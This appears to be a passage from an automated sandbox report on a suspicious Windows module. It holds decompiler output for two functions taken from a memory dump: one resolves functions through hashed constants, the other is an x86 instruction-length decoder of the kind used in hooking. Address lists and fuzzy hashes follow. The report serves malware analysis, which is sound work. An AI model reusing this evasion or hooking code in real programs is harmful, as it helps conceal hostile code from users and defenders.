								_t415 =  *(_t458 + 4);
								 *((intOrPtr*)(_t415 + 0x30)) =  *_t188;
								_t318 =  *((intOrPtr*)(_t415 + 0x2c));
								E70A9B680(_t458 + 0x34);
								E70A9B680(_t458 + 8);
							} else {
								goto L59;
							}
						}
						goto L62;
					} else {
						_t454 = 0;
						__eflags = 0;
						while(1) {
							E70A9CB48(_t458 + 0x4c);
							_t415 = 0;
							_t345 = _t458 + 0x4c;
							 *((char*)(_t345 + 4)) = 0;
							 *((intOrPtr*)(_t345 + 0x20)) = 0;
							__eflags = E70A9C33C(_t345);
							if(__eflags != 0) {
								break;
							}
							E70A9F8C4(_t458 + 0x14, E70A9F568(_t458 + 0x10) + 4);
							 *((intOrPtr*)(E70A9F558(_t458 + 0x14, E70A9F568(_t458 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t458 + 0x4c));
							 *((intOrPtr*)(_t458 + 0xc)) =  *((intOrPtr*)(_t458 + 0xc)) + 1;
							_t202 = E70AA2F8C(0xa5eabdf8, 0xf3119fba);
							__eflags = _t202;
							if(_t202 == 0) {
								_t415 =  *(_t458 + 0x6c);
								__eflags = _t415;
								if(__eflags == 0) {
									break;
								} else {
									__eflags = _t415 - 0xffffffff;
									if(__eflags != 0) {
										E70A9F8C4(_t458 + 0x40, E70A9F568(_t458 + 0x3c) + 4);
										 *(E70A9F558(_t458 + 0x40, E70A9F568(_t458 + 0x3c) + 0xfffffffc)) =  *(_t458 + 0x6c);
										 *((intOrPtr*)(_t458 + 0x4c - 0x14)) =  *((intOrPtr*)(_t458 + 0x4c - 0x14)) + 1;
										E70A9CDE0(_t458 + 0x4c, __eflags);
										_t454 = _t454 + 1;
										__eflags = _t454 -  *(_t458 + 0x80);
										if(_t454 <  *(_t458 + 0x80)) {
											continue;
										} else {
											_t437 = 0;
											__eflags = 0;
											do {
												_t211 = E70A9F558( *(_t458 + 4), _t437 * 4);
												_t212 = E70A9F558(_t458 + 0x40, _t437 * 4);
												E70A98C14( *_t211, E70AA034C(0xa5eabdf8, 0x4145240a),  *_t212, 0, 0);
												_t437 = _t437 + 1;
												__eflags = _t437 -  *(_t458 + 0x80);
											} while (_t437 <  *(_t458 + 0x80));
											goto L57;
										}
									} else {
										break;
									}
								}
							} else {
								__eflags = 0;
								_push(2);
								_push(0);
								_push(0);
								_push(_t458 + 0x6c);
								_push( *((intOrPtr*)(_t458 + 0x78)));
								_push( *((intOrPtr*)(_t458 + 0x60)));
								_push(0xffffffff);
								asm("int3");
								return _t202;
							}
							goto L71;
						}
						E70A9CDE0(_t458 + 0x4c, __eflags);
						L59:
						E70A9B680(_t458 + 0x34);
						E70A9B680(_t458 + 8);
						goto L60;
					}
					goto L71;
				}
			}

0x70a984e4
0x70a984e8
0x70a984f1
0x70a984f7
0x70a984fb
0x70a984ff
0x70a9850a
0x70a9850e
0x70a98513
0x70a9851b
0x70a9852b
0x00000000
0x70a9852d
0x70a98535
0x70a9853c
0x70a9853c
0x70a98a8f
0x70a98a91
0x70a98ad2
0x70a98ad4
0x70a98ae3
0x70a98aef
0x70a98ad6
0x70a98ade
0x70a98af5
0x70a98afa
0x00000000
0x70a98ae0
0x70a98ae2
0x00000000
0x70a98ae2
0x70a98ade
0x00000000
0x70a98546
0x70a9854a
0x70a9854d
0x70a98553
0x70a98553
0x70a98555
0x70a9855c
0x70a9856a
0x70a9856c
0x70a98570
0x70a98572
0x70a9859e
0x70a985a2
0x70a985a7
0x70a985ac
0x70a985b0
0x70a985b4
0x70a985bb
0x70a985c0
0x70a985c2
0x70a98b51
0x70a98b60
0x70a98b7f
0x70a98b84
0x70a98b84
0x70a985d5
0x70a985da
0x70a985de
0x70a985de
0x70a985de
0x70a985ef
0x70a985f1
0x70a985f3
0x70a98604
0x70a98604
0x70a98609
0x70a9860e
0x70a98612
0x70a98617
0x70a9861e
0x70a98623
0x70a98625
0x70a98b13
0x70a98b1f
0x70a98b39
0x70a98b3e
0x70a98b3e
0x70a9863b
0x70a98640
0x70a98644
0x70a98644
0x70a98644
0x70a98644
0x70a98647
0x70a98647
0x70a98574
0x70a98576
0x70a98576
0x70a98578
0x70a98584
0x70a9858b
0x70a9858d
0x00000000
0x00000000
0x70a98599
0x70a9859a
0x70a9859c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x70a9859c
0x70a9858f
0x70a98592
0x00000000
0x00000000
0x70a98594
0x70a98592
0x70a98648
0x70a9864c
0x70a9864d
0x70a9864d
0x70a98555
0x70a98655
0x70a9865a
0x70a98660
0x70a98660
0x70a98662
0x70a98669
0x70a98677
0x70a98679
0x70a9867d
0x70a9867f
0x70a98681
0x70a986bc
0x70a986cb
0x70a986cd
0x70a986cf
0x70a986ed
0x70a986ef
0x70a986f1
0x70a98703
0x70a98721
0x70a9872a
0x70a9872d
0x70a9873b
0x70a9874c
0x70a9876a
0x70a9876c
0x70a98770
0x70a98770
0x70a98770
0x70a986f1
0x70a98683
0x70a98687
0x70a98687
0x70a9868c
0x70a98693
0x70a986a2
0x70a986a9
0x70a986ab
0x00000000
0x00000000
0x70a986b7
0x70a986b8
0x70a986ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x70a986ba
0x70a986ad
0x70a986b0
0x00000000
0x00000000
0x70a986b2
0x70a986b0
0x70a98772
0x70a98772
0x70a98773
0x70a98773
0x70a98662
0x70a98781
0x70a98786
0x70a9878a
0x70a9878e
0x70a98794
0x70a98796
0x70a98798
0x70a987a2
0x70a987a2
0x70a987a4
0x70a987a7
0x70a987a9
0x70a987b1
0x70a987b8
0x70a987bc
0x70a987bf
0x00000000
0x00000000
0x70a988bb
0x70a988bc
0x70a988be
0x00000000
0x00000000
0x00000000
0x70a988be
0x70a987c5
0x70a987c8
0x70a987d1
0x70a987d6
0x70a987d8
0x70a987e4
0x70a987e8
0x70a987ed
0x70a987f1
0x70a98bce
0x70a98be2
0x70a98c04
0x70a98c09
0x70a98c09
0x70a98807
0x70a9880c
0x70a98810
0x70a98810
0x70a98810
0x70a98810
0x70a98815
0x70a9881a
0x70a9881c
0x70a98820
0x70a98827
0x70a9882c
0x70a9882e
0x70a98b8f
0x70a98b9e
0x70a98bb7
0x70a98bbc
0x70a98bbc
0x70a98841
0x70a98846
0x70a9884a
0x70a9884a
0x70a9884a
0x70a9885c
0x70a9887d
0x70a98885
0x70a98893
0x70a988b1
0x70a988b7
0x70a988b7
0x70a987c8
0x70a98798
0x70a988c4
0x70a988c6
0x70a988ca
0x70a988d3
0x70a988de
0x70a988e2
0x70a988eb
0x70a988f0
0x70a988f6
0x70a988f7
0x70a988fb
0x70a988ff
0x70a98906
0x70a98908
0x70a98a48
0x70a98a59
0x70a98a60
0x70a98a67
0x70a98a67
0x70a98a6a
0x70a98a6d
0x70a98a70
0x70a98a76
0x00000000
0x70a98a78
0x70a98a78
0x70a98a7b
0x70a98a94
0x70a98aac
0x70a98aaf
0x70a98ab4
0x70a98abe
0x70a98ac1
0x70a98ac4
0x70a98acd
0x00000000
0x00000000
0x00000000
0x70a98a7b
0x00000000
0x70a9890e
0x70a98910
0x70a98910
0x70a98912
0x70a98916
0x70a9891b
0x70a9891d
0x70a98921
0x70a98924
0x70a9892c
0x70a9892e
0x00000000
0x00000000
0x70a98945
0x70a98960
0x70a98962
0x70a98970
0x70a98975
0x70a98977
0x70a98994
0x70a98998
0x70a9899a
0x00000000
0x70a9899c
0x70a9899c
0x70a9899f
0x70a989c0
0x70a989df
0x70a989e5
0x70a989e8
0x70a989ed
0x70a989ee
0x70a989f5
0x00000000
0x70a989fb
0x70a989fd
0x70a989fd
0x70a989ff
0x70a98a0b
0x70a98a17
0x70a98a39
0x70a98a3e
0x70a98a3f
0x70a98a3f
0x00000000
0x70a989ff
0x00000000
0x00000000
0x00000000
0x70a9899f
0x70a98979
0x70a98979
0x70a9897f
0x70a98981
0x70a98982
0x70a98983
0x70a98984
0x70a98988
0x70a9898c
0x70a9898e
0x70a9898f
0x70a9898f
0x00000000
0x70a98977
0x70a989a5
0x70a98a7d
0x70a98a81
0x70a98a8a
0x00000000
0x70a98a8a
0x00000000
0x70a98908

Strings

, xrefs: 70A98AD6

Memory Dump Source

Source File: 00000003.00000002.488352077.0000000070A91000.00000020.00020000.sdmp, Offset: 70A90000, based on PE: true

Associated: 00000003.00000002.488339229.0000000070A90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488396967.0000000070AAA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.488417212.0000000070AAD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.488424933.0000000070AAF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 760d8a5ed129546f2c771438611392e1932cbddff7d994758bdfd53f195e9062
Instruction ID: 7167d5f7c882632262c3ed0445e3cd966cac67304a428753693ca2e26032de81
Opcode Fuzzy Hash: 760d8a5ed129546f2c771438611392e1932cbddff7d994758bdfd53f195e9062
Instruction Fuzzy Hash: 8F128EB13283459FC704DF24CA81A2EB3F5AF85604F11892DF5AA872B8DB30EC04CB56

Uniqueness

Uniqueness Score: -1.00%

Function 70AA92DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E70AA92DC(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				signed int _t250;
				signed char _t251;
				signed char* _t254;
				char _t255;
				signed short _t256;
				char _t257;
				signed short _t260;
				signed int _t261;
				signed int _t262;
				void* _t264;
				void* _t272;
				void* _t273;
				signed short* _t274;
				signed char _t275;
				signed int _t277;
				signed int _t278;
				void* _t282;
				signed int _t288;
				unsigned int _t290;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				signed int _t295;
				unsigned int _t296;
				unsigned int _t297;
				signed int _t299;
				unsigned int _t301;
				signed char _t302;
				signed int _t304;
				signed char _t307;
				signed char _t308;
				signed int _t309;
				void* _t312;
				void* _t313;
				signed int _t314;
				signed int _t316;
				signed int _t319;
				signed int _t321;
				signed int _t338;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				unsigned int* _t346;
				unsigned int _t354;
				signed int _t355;
				void* _t357;
				signed int _t364;
				signed int _t366;
				signed int _t383;
				signed int _t388;
				signed int _t391;
				signed int _t395;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t399;
				signed int _t400;
				signed int _t403;
				signed int _t408;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t417;
				signed int _t419;
				signed int _t424;
				void* _t426;
				signed int* _t427;

				 *((intOrPtr*)(_t426 + 0x24)) = __edx;
				 *((intOrPtr*)(_t426 + 0x10)) = __ecx;
				 *((intOrPtr*)(_t426 + 0x14)) = __ecx;
				_t274 =  *(_t426 + 0x48);
				E70AA35D4( *(_t426 + 0x48), 0, 0x1c);
				_t427 = _t426 + 0xc;
				_t338 = 0;
				_t282 = 0x10;
				do {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					if(_t250 == 0xf3) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000004;
						L17:
						_t338 = _t339 & 0x000000ff;
						 *(_t383 + 1) = _t250;
						goto L18;
					}
					if(_t250 == 0xf2) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000002;
						goto L17;
					}
					if(_t250 == 0xf0) {
						_t338 = (_t338 | 0x00000020) & 0x000000ff;
						 *(_t427[0x10] + 2) = _t250;
						goto L18;
					}
					if(_t250 == 0x26 || _t250 == 0x2e || _t250 == 0x36 || _t250 == 0x3e) {
						L13:
						_t338 = (_t338 | 0x00000040) & 0x000000ff;
						 *(_t427[0x10] + 3) = _t250;
					} else {
						_t6 = _t250 - 0x64; // -100
						if(_t6 <= 1) {
							goto L13;
						}
						if(_t250 == 0x66) {
							_t338 = (_t338 | 0x00000008) & 0x000000ff;
							 *(_t427[0x10] + 4) = _t250;
							goto L18;
						}
						if(_t250 != 0x67) {
							break;
						} else {
							_t338 = _t338 | 0x00000010;
							 *(_t427[0x10] + 5) = _t250;
							goto L18;
						}
					}
					L18:
					_t282 = _t282 + 0xff;
				} while (_t282 != 0);
				_t388 = _t427[0x10];
				_t285 =  !=  ? _t338 : 1;
				_t343 = _t338 << 0x17;
				 *(_t388 + 6) = _t250;
				 *_t427 =  !=  ? _t338 : 1;
				 *(_t388 + 0x18) = _t343;
				if(_t250 == 0xf) {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					_t427[5] = _t250;
					 *(_t427[0x10] + 7) = _t250;
					_t427[2] = _t427[4] + 0x4a;
				} else {
					_t22 = _t250 - 0xa0; // -160
					_t427[5] =  *(_t427[0x10] + 7) & 0x000000ff;
					if(_t22 <= 3) {
						_t424 =  *_t427;
						_t382 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
						 *_t427 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
					}
				}
				_t354 = _t250 >> 2;
				_t391 = _t250 & 0x00000003;
				_t345 = _t427[2];
				_t427[3] = _t391;
				_t427[6] = _t354;
				_t288 =  *(( *(_t354 + _t345) & 0x000000ff) + _t391 + _t345) & 0x000000ff;
				_t427[1] = _t288;
				if(_t288 == 0xff) {
					_t343 = _t343 + 0x3000;
					_t288 = 0 | (_t250 & 0xfffffffd) == 0x00000024;
					 *(_t427[0x10] + 0x18) = _t343;
					_t427[1] = _t288;
				}
				if((_t427[1] & 0x00000080) != 0) {
					_t290 =  *((_t288 & 0x0000007f) + _t345) & 0x0000ffff;
					_t427[1] = _t290;
					_t395 = _t290 >> 8;
				} else {
					_t395 = 0;
				}
				if(_t427[5] != 0 && ( *_t427 &  *(( *(_t427[6] + _t427[4] + 0x130) & 0x000000ff) + _t427[3] + _t427[4] + 0x130) & 0x000000ff) != 0) {
					_t343 = _t343 | 0x00003000;
					 *(_t427[0x10] + 0x18) = _t343;
				}
				if((_t427[1] & 0x00000001) == 0) {
					if(( *_t427 & 0x00000020) != 0) {
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					goto L114;
				} else {
					_t355 = _t427[0x10];
					_t343 = _t343 | 0x00000001;
					 *(_t355 + 0x18) = _t343;
					_t296 =  *_t274 & 0x000000ff;
					_t346 =  &(_t427[6]);
					 *_t346 = _t296;
					 *(_t355 + 8) = _t296;
					_t297 = _t296 >> 6;
					_t427[3] = _t297;
					 *(_t355 + 9) = _t297;
					_t299 =  *_t346 & 0x00000007;
					_t427[7] = _t299;
					 *(_t355 + 0xb) = _t299;
					_t301 =  *_t346 & 0x0000003f;
					 *_t346 = _t301;
					_t302 = _t301 >> 3;
					_t427[2] = _t302;
					 *(_t355 + 0xa) = _t302;
					if(_t395 != 0 && (_t395 << _t302 & 0x00000080) != 0) {
						_t343 = _t343 | 0x00003000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					if(_t427[5] == 0) {
						_t80 = _t250 - 0xd9; // -217
						if(_t80 <= 6) {
							_t81 = _t250 + 0x27; // 0x27
							_t417 = _t81 & 0x000000ff;
							if(_t427[3] != 3) {
								_t419 = ( *(_t417 + _t427[4] + 0xf1) & 0x000000ff) << _t427[2];
							} else {
								_t419 = ( *(_t427[4] + _t427[2] + 0xf8 + _t417 * 8) & 0x000000ff) << _t427[7];
							}
							if((_t419 & 0x00000080) != 0) {
								_t343 = _t343 | 0x00003000;
								 *(_t427[0x10] + 0x18) = _t343;
							}
						}
					}
					if(( *_t427 & 0x00000020) == 0) {
						L52:
						if(_t427[5] == 0) {
							if(_t250 == 0x8c) {
								L85:
								if(_t427[2] <= 5) {
									L87:
									_t427[5] = _t274[0];
									_t427[4] =  &(_t274[1]);
									if(_t427[2] <= 1) {
										if(_t250 != 0xf6) {
											_t309 = _t427[1];
											_t310 =  ==  ? _t309 | 0xffffff90 : _t309;
											_t427[1] =  ==  ? _t309 | 0xffffff90 : _t309;
										} else {
											_t427[1] = _t427[1] | 0xffffff82;
										}
									}
									if(_t427[3] == 0) {
										if(( *_t427 & 0x00000010) == 0) {
											_t264 = 4;
											_t357 =  ==  ? _t264 : 0;
										} else {
											_t273 = 2;
											_t357 =  ==  ? _t273 : 0;
										}
									} else {
										if(_t427[3] == 1) {
											_t357 = 1;
										} else {
											if(_t427[3] == 2) {
												_t357 = (( !( *_t427) & 0x00000010) >> 3) + 2;
											} else {
												_t357 = 0;
											}
										}
									}
									if(_t427[3] != 3 && _t427[7] == 4 && ( *_t427 & 0x00000010) == 0) {
										_t307 = _t427[5];
										_t343 = _t343 | 0x00000002;
										_t403 = _t427[0x10];
										_t427[4] =  &(_t274[1]);
										 *(_t403 + 0xc) = _t307;
										_t308 = _t307 & 0x00000007;
										 *(_t403 + 0x18) = _t343;
										 *(_t403 + 0xd) = _t307 >> 6;
										 *(_t403 + 0xe) = (_t307 & 0x0000003f) >> 3;
										 *(_t403 + 0xf) = _t308;
										if(_t308 == 5) {
											_t272 = 4;
											_t357 =  ==  ? _t272 : _t357;
										}
									}
									if(_t357 == 1) {
										_t304 = _t427[0x10];
										_t343 = _t343 | 0x00000020;
										 *(_t304 + 0x18) = _t343;
										 *((char*)(_t304 + 0x14)) =  *(_t427[4] - 1);
									} else {
										if(_t357 == 2) {
											_t277 = _t427[0x10];
											_t343 = _t343 | 0x00000040;
											 *(_t277 + 0x18) = _t343;
											 *((short*)(_t277 + 0x14)) =  *(_t427[4] - 1) & 0x0000ffff;
										} else {
											if(_t357 == 4) {
												_t278 = _t427[0x10];
												_t343 = _t343 | 0x00000080;
												 *(_t278 + 0x18) = _t343;
												 *(_t278 + 0x14) =  *(_t427[4] - 1);
											}
										}
									}
									_t195 = _t427[4] - 1; // -1
									_t274 = _t357 + _t195;
									L114:
									_t251 = _t427[1];
									_t292 = _t251 & 0x00000040;
									if((_t251 & 0x00000010) == 0) {
										L121:
										if((_t427[1] & 0x00000004) == 0) {
											L129:
											if((_t427[1] & 0x00000002) != 0) {
												_t396 = _t427[0x10];
												_t343 = _t343 | 0x00000004;
												 *(_t396 + 0x18) = _t343;
												_t257 =  *_t274;
												_t274 =  &(_t274[0]);
												 *((char*)(_t396 + 0x10)) = _t257;
											}
											if(_t292 == 0) {
												if((_t427[1] & 0x00000020) != 0) {
													_t293 = _t427[0x10];
													_t343 = _t343 | 0x00000104;
													 *(_t293 + 0x18) = _t343;
													_t255 =  *_t274;
													_t274 =  &(_t274[0]);
													 *((char*)(_t293 + 0x10)) = _t255;
												}
												goto L135;
											} else {
												L132:
												_t294 = _t427[0x10];
												_t343 = _t343 | 0x00000110;
												 *(_t294 + 0x18) = _t343;
												_t256 =  *_t274;
												_t274 =  &(_t274[2]);
												 *(_t294 + 0x10) = _t256;
												L135:
												_t275 = _t274 - _t427[0xf];
												if(_t275 <= 0xf) {
													 *(_t427[0x10]) = _t275;
												} else {
													_t254 = _t427[0x10];
													_t275 = 0xf;
													_t254[0x18] = _t343 | 0x00005000;
													 *_t254 = _t275;
												}
												return _t275 & 0x000000ff;
											}
										}
										if((_t343 & 0x00000010) == 0) {
											if((_t343 & 0x00000008) == 0) {
												_t397 = _t427[0x10];
												_t343 = _t343 | 0x00000008;
												 *(_t397 + 0x18) = _t343;
												 *((short*)(_t397 + 0x10)) =  *_t274 & 0x0000ffff;
												L128:
												_t274 =  &(_t274[1]);
												goto L129;
											}
											_t398 = _t427[0x10];
											_t343 = _t343 | 0x00000800;
											L126:
											 *(_t398 + 0x18) = _t343;
											 *((short*)(_t398 + 0x14)) =  *_t274 & 0x0000ffff;
											goto L128;
										}
										_t398 = _t427[0x10];
										_t343 = _t343 | 0x00000008;
										goto L126;
									}
									if(_t292 == 0) {
										if(( *_t427 & 0x00000008) == 0) {
											_t399 = _t427[0x10];
											_t343 = _t343 | 0x00000010;
											 *(_t399 + 0x18) = _t343;
											_t260 =  *_t274;
											_t274 =  &(_t274[2]);
											 *(_t399 + 0x10) = _t260;
										} else {
											_t400 = _t427[0x10];
											_t343 = _t343 | 0x00000008;
											 *(_t400 + 0x18) = _t343;
											_t261 =  *_t274 & 0x0000ffff;
											_t274 =  &(_t274[1]);
											 *(_t400 + 0x10) = _t261;
										}
										goto L121;
									}
									if(( *_t427 & 0x00000008) == 0) {
										goto L132;
									}
									_t295 = _t427[0x10];
									_t343 = _t343 | 0x00000108;
									 *(_t295 + 0x18) = _t343;
									_t262 =  *_t274 & 0x0000ffff;
									_t274 =  &(_t274[1]);
									 *(_t295 + 0x10) = _t262;
									goto L135;
								}
								L86:
								_t343 = _t343 | 0x00011000;
								 *(_t427[0x10] + 0x18) = _t343;
								goto L87;
							}
							if(_t250 != 0x8e) {
								L66:
								if(_t427[3] != 3) {
									if(_t427[5] == 0) {
										goto L87;
									}
									if(_t250 == 0xd7 || _t250 == 0xf7) {
										L83:
										if(( *_t427 & 0x00000009) != 0) {
											goto L86;
										}
									} else {
										if(_t250 == 0xd6) {
											if(( *_t427 & 0x00000006) != 0) {
												goto L86;
											}
											goto L87;
										}
										if(_t250 == 0xc5) {
											goto L86;
										}
										if(_t250 == 0x50) {
											goto L83;
										}
									}
									goto L87;
								}
								_t364 = _t427[4];
								_t312 = _t364 + 0x1da;
								_t366 =  !=  ? _t312 : _t364 + 0x1cb;
								_t313 =  !=  ? _t427[9] + _t364 : _t312;
								_t427[4] = _t366;
								if(_t366 == _t313) {
									goto L87;
								} else {
									goto L68;
								}
								while(1) {
									L68:
									_t408 = _t427[4];
									if(_t250 ==  *_t408) {
										break;
									}
									_t411 = _t408 + 3;
									_t427[4] = _t411;
									if(_t411 != _t313) {
										continue;
									}
									goto L87;
								}
								_t314 = _t408;
								if(( *_t427 &  *(_t314 + 1) & 0x000000ff) == 0) {
									goto L87;
								}
								if((( *(_t314 + 2) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
									goto L86;
								}
								goto L87;
							}
							if(_t427[2] == 1) {
								goto L86;
							}
							goto L85;
						}
						if(_t250 == 0x20 || _t250 == 0x22) {
							_t316 = 3;
							_t427[3] = _t316;
							if(_t427[2] > 4 || _t427[2] == 1) {
								goto L86;
							} else {
								goto L87;
							}
						} else {
							if(_t250 == 0x21 || _t250 == 0x23) {
								_t319 = 3;
								_t427[3] = _t319;
								if((_t427[6] & 0xfffffff0) == 0x20) {
									goto L86;
								}
								goto L87;
							} else {
								goto L66;
							}
						}
					}
					if(_t427[3] == 3) {
						L51:
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
						goto L52;
					}
					_t412 = _t427[4];
					_t321 = _t250;
					_t427[8] = _t412 + 0x1b9;
					if(_t427[5] == 0) {
						_t413 = _t412 + 0x1a1;
						_t321 = _t250 & 0x000000fe;
					} else {
						_t413 = _t427[8];
						_t427[8] = _t412 + 0x1cb;
					}
					while(_t413 != _t427[8]) {
						if(_t321 ==  *_t413) {
							if((( *(_t413 + 1) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
								goto L52;
							}
							goto L51;
						}
						_t413 = _t413 + 2;
					}
					goto L51;
				}
			}

0x70aa92e3
0x70aa92e7
0x70aa92f3
0x70aa92f7
0x70aa92fb
0x70aa9300
0x70aa9303
0x70aa9305
0x70aa9307
0x70aa9307
0x70aa930a
0x70aa9310
0x70aa9388
0x70aa938c
0x70aa938f
0x70aa938f
0x70aa9392
0x00000000
0x70aa9392
0x70aa9317
0x70aa937f
0x70aa9383
0x00000000
0x70aa9383
0x70aa931e
0x70aa9377
0x70aa937a
0x00000000
0x70aa937a
0x70aa9323
0x70aa9361
0x70aa9368
0x70aa936b
0x70aa9334
0x70aa9334
0x70aa933a
0x00000000
0x00000000
0x70aa933f
0x70aa9359
0x70aa935c
0x00000000
0x70aa935c
0x70aa9344
0x00000000
0x70aa9346
0x70aa934a
0x70aa934d
0x00000000
0x70aa934d
0x70aa9344
0x70aa9395
0x70aa9395
0x70aa9395
0x70aa939e
0x70aa93a7
0x70aa93aa
0x70aa93ad
0x70aa93b0
0x70aa93b3
0x70aa93b9
0x70aa93fb
0x70aa93fe
0x70aa93ff
0x70aa9406
0x70aa9409
0x70aa93bb
0x70aa93bf
0x70aa93c9
0x70aa93d0
0x70aa93d2
0x70aa93eb
0x70aa93ee
0x70aa93ee
0x70aa93d0
0x70aa9411
0x70aa9414
0x70aa9417
0x70aa941b
0x70aa941f
0x70aa9429
0x70aa942d
0x70aa9437
0x70aa9440
0x70aa944d
0x70aa9450
0x70aa9453
0x70aa9453
0x70aa945f
0x70aa946a
0x70aa9470
0x70aa9474
0x70aa9461
0x70aa9461
0x70aa9461
0x70aa947c
0x70aa94a6
0x70aa94ac
0x70aa94ac
0x70aa94b4
0x70aa985d
0x70aa9863
0x70aa9869
0x70aa9869
0x00000000
0x70aa94ba
0x70aa94ba
0x70aa94be
0x70aa94c1
0x70aa94c4
0x70aa94c7
0x70aa94cb
0x70aa94cd
0x70aa94d0
0x70aa94d3
0x70aa94d7
0x70aa94dc
0x70aa94df
0x70aa94e3
0x70aa94e8
0x70aa94eb
0x70aa94ed
0x70aa94f0
0x70aa94f4
0x70aa94f9
0x70aa9509
0x70aa950f
0x70aa950f
0x70aa9517
0x70aa9519
0x70aa9522
0x70aa9524
0x70aa9527
0x70aa9532
0x70aa955f
0x70aa9534
0x70aa954b
0x70aa954b
0x70aa9567
0x70aa956d
0x70aa9573
0x70aa9573
0x70aa9567
0x70aa9522
0x70aa957a
0x70aa95eb
0x70aa95f0
0x70aa9649
0x70aa970b
0x70aa9710
0x70aa971f
0x70aa9725
0x70aa9729
0x70aa9732
0x70aa9739
0x70aa9742
0x70aa9750
0x70aa9753
0x70aa973b
0x70aa973b
0x70aa973b
0x70aa9739
0x70aa975c
0x70aa9789
0x70aa979c
0x70aa97a4
0x70aa978b
0x70aa978d
0x70aa9795
0x70aa9795
0x70aa975e
0x70aa9763
0x70aa9782
0x70aa9765
0x70aa976a
0x70aa977b
0x70aa976c
0x70aa976c
0x70aa976c
0x70aa976a
0x70aa9763
0x70aa97ac
0x70aa97bb
0x70aa97c8
0x70aa97d1
0x70aa97d5
0x70aa97d9
0x70aa97dc
0x70aa97df
0x70aa97e2
0x70aa97e5
0x70aa97e8
0x70aa97ee
0x70aa97f2
0x70aa97f8
0x70aa97f8
0x70aa97ee
0x70aa97fe
0x70aa983b
0x70aa983f
0x70aa9846
0x70aa984c
0x70aa9800
0x70aa9803
0x70aa9823
0x70aa9827
0x70aa982e
0x70aa9835
0x70aa9805
0x70aa9808
0x70aa980a
0x70aa980e
0x70aa9818
0x70aa981e
0x70aa981e
0x70aa9808
0x70aa9803
0x70aa9853
0x70aa9853
0x70aa986c
0x70aa986c
0x70aa9872
0x70aa9877
0x70aa98d1
0x70aa98d6
0x70aa9915
0x70aa991a
0x70aa991c
0x70aa9920
0x70aa9923
0x70aa9926
0x70aa9928
0x70aa9929
0x70aa9929
0x70aa992e
0x70aa994c
0x70aa994e
0x70aa9952
0x70aa9958
0x70aa995b
0x70aa995d
0x70aa995e
0x70aa995e
0x00000000
0x70aa9930
0x70aa9930
0x70aa9930
0x70aa9934
0x70aa993a
0x70aa993d
0x70aa993f
0x70aa9942
0x70aa9961
0x70aa9961
0x70aa9968
0x70aa9982
0x70aa996a
0x70aa996a
0x70aa9976
0x70aa9977
0x70aa997a
0x70aa997a
0x70aa9990
0x70aa9990
0x70aa992e
0x70aa98db
0x70aa98e9
0x70aa9901
0x70aa9905
0x70aa9908
0x70aa990e
0x70aa9912
0x70aa9912
0x00000000
0x70aa9912
0x70aa98eb
0x70aa98ef
0x70aa98f5
0x70aa98f5
0x70aa98fb
0x00000000
0x70aa98fb
0x70aa98dd
0x70aa98e1
0x00000000
0x70aa98e1
0x70aa987b
0x70aa98a7
0x70aa98bf
0x70aa98c3
0x70aa98c6
0x70aa98c9
0x70aa98cb
0x70aa98ce
0x70aa98a9
0x70aa98a9
0x70aa98ad
0x70aa98b0
0x70aa98b3
0x70aa98b6
0x70aa98b9
0x70aa98b9
0x00000000
0x70aa98a7
0x70aa9881
0x00000000
0x00000000
0x70aa9887
0x70aa988b
0x70aa9891
0x70aa9894
0x70aa9897
0x70aa989a
0x00000000
0x70aa989a
0x70aa9712
0x70aa9716
0x70aa971c
0x00000000
0x70aa971c
0x70aa9654
0x70aa9666
0x70aa966b
0x70aa96d6
0x00000000
0x00000000
0x70aa96dd
0x70aa9703
0x70aa9707
0x00000000
0x00000000
0x70aa96e6
0x70aa96eb
0x70aa96ff
0x00000000
0x00000000
0x00000000
0x70aa9701
0x70aa96f2
0x00000000
0x00000000
0x70aa96f7
0x00000000
0x00000000
0x70aa96f9
0x00000000
0x70aa96dd
0x70aa966d
0x70aa9677
0x70aa9688
0x70aa968b
0x70aa968e
0x70aa9694
0x00000000
0x00000000
0x00000000
0x00000000
0x70aa969a
0x70aa969a
0x70aa969a
0x70aa96a1
0x00000000
0x00000000
0x70aa96a3
0x70aa96a6
0x70aa96ac
0x00000000
0x00000000
0x00000000
0x70aa96ae
0x70aa96b0
0x70aa96b9
0x00000000
0x00000000
0x70aa96cd
0x00000000
0x00000000
0x00000000
0x70aa96cf
0x70aa965b
0x00000000
0x00000000
0x00000000
0x70aa9661
0x70aa95f5
0x70aa9624
0x70aa9625
0x70aa962e
0x00000000
0x70aa963f
0x00000000
0x70aa963f
0x70aa95fc
0x70aa95ff
0x70aa9612
0x70aa9613
0x70aa9617
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x70aa95ff
0x70aa95f5
0x70aa9581
0x70aa95de
0x70aa95e2
0x70aa95e8
0x00000000
0x70aa95e8
0x70aa9583
0x70aa9587
0x70aa9594
0x70aa9598
0x70aa95ae
0x70aa95b6
0x70aa959a
0x70aa959c
0x70aa95a6
